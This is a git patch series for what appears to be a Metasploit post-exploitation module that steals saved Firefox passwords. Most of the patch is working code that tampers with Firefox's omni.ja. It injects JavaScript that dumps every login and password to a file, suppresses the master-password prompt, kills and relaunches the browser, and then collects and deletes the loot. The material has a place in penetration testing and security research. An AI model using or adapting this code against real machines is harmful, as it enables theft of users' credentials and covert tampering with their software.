From 423a33b1fc1a6003e61f5aeded2cb79f612fe6f2 Mon Sep 17 00:00:00 2001 From: xard4s Date: Sun, 2 Jun 2013 16:27:53 -0400 Subject: [PATCH 1/2] Added firefox pw decryption support --- modules/post/multi/gather/firefox_creds.rb | 404 ++++++++++++++++++++- 1 file changed, 385 insertions(+), 19 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 62944537bb..c32724774d 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -7,12 +7,18 @@ require 'msf/core' require 'rex' +require 'zip/zip' +require 'tmpdir' require 'msf/core/post/file' +require 'msf/core/post/common' +require 'msf/core/auxiliary/report' require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Common + include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info={}) @@ -26,52 +32,115 @@ class Metasploit3 < Msf::Post Firefox stores passwords within the signons.sqlite database file. There is also a keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using - third party tools. If a Master Password was used the only option would be to - bruteforce. + third party tools or by setting the DECRYPT option to true. Using the latter often + needs root privileges. If a Master Password was used the only option would be + to bruteforce. }, 'License' => MSF_LICENSE, - 'Author' => ['bannedit'], + 'Author' => + [ + 'bannedit', + 'xard4s' # added decryption support + ], 'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'], 'SessionTypes' => ['meterpreter', 'shell' ] )) + + register_options( + [ + OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) + ] + ) #TODO - # - add support for decrypting the passwords without a Master Password # - Collect cookies. end def run - paths = [] print_status("Determining session platform and type...") case session.platform when /unix|linux|bsd/ @platform = :unix - paths = enum_users_unix when /osx/ @platform = :osx - paths = enum_users_unix when /win/ if session.type != "meterpreter" print_error "Only meterpreter sessions are supported on windows hosts" return end - - grab_user_profiles().each do |user| - next if user['AppData'] == nil - dir = check_firefox(user['AppData']) - if dir - paths << dir - end - end + @platform = :windows else print_error("Unsupported platform #{session.platform}") return end - if paths.nil? - print_error("No users found with a Firefox directory") - return + + if datastore['DECRYPT'] + omnija = nil + org_file = 'omni.ja' + new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" + + # sets @paths + return unless get_ff_and_loot_path + + print_status("Downloading #{org_file} from #{@paths['ff']}") + omnija = read_file(@paths['ff']+org_file) + if omnija.nil? or omnija.empty? or omnija =~ /No such file/i + print_error("Could not download #{org_file}, archive may not exist") + return + end + # cross platform local tempdir, "/" should work on windows too + tmp = Dir::tmpdir + "/" + new_file + print_status("Writing #{org_file} to local file: #{tmp}") + file_local_write(tmp, omnija) + res = nil + print_status("Extracting and modifying #{new_file}...") + begin + # automatically commits the changes made to the zip archive when + # the block terminates + Zip::ZipFile.open(tmp) do |zip_file| + res = modify_omnija(zip_file) + end + rescue Zip::ZipError => e + print_error("Error modifying #{new_file}") + return + end + if res + print_status("Successfully modified #{new_file}") + else + print_error("Failed to patch method") + return + end + print_status("Uploading #{new_file} to #{@paths['ff']}") + if not upload_file(@paths['ff']+new_file, tmp) + print_error("Could not upload #{new_file}") + return + end + + return if not trigger_decrypt(org_file, new_file) + + download_creds + else + paths = [] + if @platform =~ /unix|osx/ + paths = enum_users_unix + else # windows + grab_user_profiles().each do |user| + next if user['AppData'] == nil + dir = check_firefox(user['AppData']) + if dir + paths << dir + end + end + end + + if paths.nil? + print_error("No users found with a Firefox directory") + return + end + + download_loot(paths.flatten) + end - download_loot(paths.flatten) end def enum_users_unix @@ -195,6 +264,262 @@ class Metasploit3 < Msf::Post end end + # checks for needed privileges and wheter Firefox is installed + def get_ff_and_loot_path + @paths = {} + check_paths = [] + drive = expand_path("%SystemDrive%") + loot_file = Rex::Text::rand_text_alpha(6) + ".txt" + + case @platform + when /win/ + if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i + print_error("You need root privileges on this platform for DECRYPT option") + return false + end + tmpdir = expand_path("%TEMP%") + "\\" + # this way allows for more independent use of meterpreter + # payload (32 and 64 bit) and cleaner code + check_paths << drive + '\\Program Files\\Mozilla Firefox\\' + check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' + + when /unix/ + tmpdir = '/tmp/' + if cmd_exec("whoami").chomp !~ /root/ + print_error("You need root privileges on this platform for DECRYPT option") + return false + end + # unix matches linux|unix|bsd but bsd is not supported + if session.platform =~ /bsd/ + print_error("Sorry, bsd is not supported by the DECRYPT option") + return false + end + + check_paths << '/usr/lib/firefox/' + check_paths << '/usr/lib64/firefox/' + + when /osx/ + tmpdir = '/tmp/' + check_paths << '/applications/firefox.app/contents/macos/' + end + + @paths['ff'] = check_paths.find do |p| + check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '') + print_status("Checking for Firefox directory in: #{check}") + if directory?(p.sub(/(\\|\/)$/, '')) + print_good("Found Firefox directory") + true + else + print_error("No Firefox directory found") + false + end + end + + return false if @paths['ff'].nil? + + @paths['loot'] = tmpdir + loot_file + return true + + end + + def modify_omnija(zip) + files = [ + 'components/storage-mozStorage.js', + 'chrome/toolkit/content/passwordmgr/passwordManager.xul', + 'chrome/toolkit/content/global/commonDialog.xul', + 'jsloader/resource/gre/components/storage-mozStorage.js' + ] + + arya = files.map do |file| + fdata = {} + fdata['content'] = zip.read(file) unless file =~ /jsloader/ + fdata['outs'] = zip.get_output_stream(file) + fdata + end + + stor_js, pwd_xul, dlog_xul, res_js = arya + stor_js['outs_res'] = res_js['outs'] + + wnd_close = "window.close();" + onload = "Startup(); SignonsStartup(); #{wnd_close}" + + # get rid of (possible) master password prompt and close pwd + # manager immediately + dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close) + dlog_xul['outs'].write(dlog_xul['content']) + dlog_xul['outs'].close + + pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload) + pwd_xul['outs'].write(pwd_xul['content']) + pwd_xul['outs'].close + + # returns true or false + return patch_method(stor_js) + + end + + # Patches getAllLogins() method from storage-mozStorage.js + def patch_method(stor_js) + data = "" + # imports needed for IO + imports = %Q| + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + Components.utils.import("resource://gre/modules/FileUtils.jsm"); + Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); + | + + # Javascript code to intercept the logins array and write the + # credentials to a file + method_epilog = %Q| + var data = ""; + var path = "#{@paths['loot'].inspect.gsub(/"/, '')}"; + var file = new FileUtils.File(path); + + var outstream = FileUtils.openSafeFileOutputStream(file); + var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. + createInstance(Components.interfaces.nsIScriptableUnicodeConverter); + converter.charset = "UTF-8"; + + if (logins.length != 0) { + for (var i = 0; i < logins.length; i++) { + + data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^"; + + } + + } else { + data = "no creds"; + } + + var istream = converter.convertToInputStream(data); + NetUtil.asyncCopy(istream, outstream); + + return logins; + | + + regex = [ + nil, + [/return\slogins;/, method_epilog], + [/getAllLogins\s:\sfunction\s\(count\)\s{/, nil], + [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] + ] + + # match three regular expressions + i = 3 + stor_js['content'].each_line do |line| + # there is no real substitution if the matching regex + # has no corresponding patch code + if i != 0 and line.sub!(regex[i][0]) do |match| + if not regex[i][1].nil? + regex[i][1] + else + line + end + end + i -= 1 + end + + data << line + + end + + # write the same data to both output streams + stor_js['outs'].write(data) + stor_js['outs_res'].write(data) + stor_js['outs'].close + stor_js['outs_res'].close + + i == 0 ? 'return true' : 'return false' + + end + + # Starts a new firefox process and triggers decryption + def trigger_decrypt(org_file, new_file) + temp_file = "orgomni.ja" + [org_file, new_file, temp_file].each do |f| + f.insert(0, @paths['ff']) + end + # firefox command line arguments + args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul' + + # In case of unix-like platform Firefox needs to start under user + # context + if @platform =~ /unix/ + + # assuming userdir /home/(x) = user + print_status("Enumerating users...") + users = cmd_exec("ls /home") + if users.nil? or users.empty? + print_error("No normal user found") + return false + end + user = users.split()[0] + # Since we can't access the display environment variable + # we have to assume the default value + args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") + args << "\"" + cmd = "su #{user} -c" + + elsif @platform =~ /win|osx/ + + cmd = @paths['ff'] + "firefox" + # on osx, run in background + args << "& sleep 5 && killall firefox" if @platform =~ /osx/ + end + + # check if firefox is running and kill it + if session.type == "meterpreter" + session.sys.process.each_process do |p| + if p['name'] =~ /firefox\.exe/ + print_status("Found running Firefox process, attempting to kill.") + if not session.sys.process.kill(p['pid']) + print_error("Could not kill Firefox process") + return false + end + end + end + + elsif session.type != "meterpreter" + p = cmd_exec("ps", "cax | grep firefox") + if p =~ /firefox/ + print_status("Found running Firefox process, attempting to kill.") + term = cmd_exec("killall", "firefox && echo true") + if not term =~ /true/ + print_error("Could not kill Firefox process") + return false + end + end + end + # + # rename-fu + # omni.ja -> orgomni.ja + # *random*.ja -> omni.ja + # omni.ja -> *random*.ja + # orgomni.ja -> omni.ja + # + rename_file(org_file, temp_file) + rename_file(new_file, org_file) + + # automatic termination ( window.close() or arguments) + print_status("Starting Firefox process") + cmd_exec(cmd,args) + + rename_file(org_file, new_file) + rename_file(temp_file, org_file) + + # clean up + file_rm(new_file) + + # at this time it should have a loot file + if !file?(@paths['loot']) + print_error("Decryption failed, there's probably a master password in use") + return false + end + + return true + + end + def download_loot(paths) loot = "" paths.each do |path| @@ -248,6 +573,47 @@ class Metasploit3 < Msf::Post end end + def download_creds + print_good("Downloading loot: #{@paths['loot']}") + loot = read_file(@paths['loot']) + + if loot =~ /no creds/ + print_status("No Firefox credentials where found") + return + end + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Firefox credentials', + 'Indent' => 1, + 'Columns'=> + [ + 'Hostname', + 'User', + 'Password' + ] + ) + + creds = loot.split("^") + creds.each do |cred| + hostname, user, pass = cred.rstrip.split(" :: ") + cred_table << [hostname, user, pass] + end + + print_line("\n" + cred_table.to_s) + + path = store_loot( + "firefox.creds", + "text/plain", + session, + cred_table.to_csv, + "firefox_credentials.txt", + "Firefox Credentials") + + # better delete the remote creds file + file_rm(@paths['loot']) + + end + def got_root? case @platform when :windows From cb31772302ee62a596c5d5b37199a07a884a5ba3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 4 Jun 2013 11:37:16 -0500 Subject: [PATCH 2/2] Fix indent --- modules/post/multi/gather/firefox_creds.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index c32724774d..52338a8170 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -38,10 +38,10 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => - [ - 'bannedit', - 'xard4s' # added decryption support - ], + [ + 'bannedit', + 'xard4s' # added decryption support + ], 'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'], 'SessionTypes' => ['meterpreter', 'shell' ] ))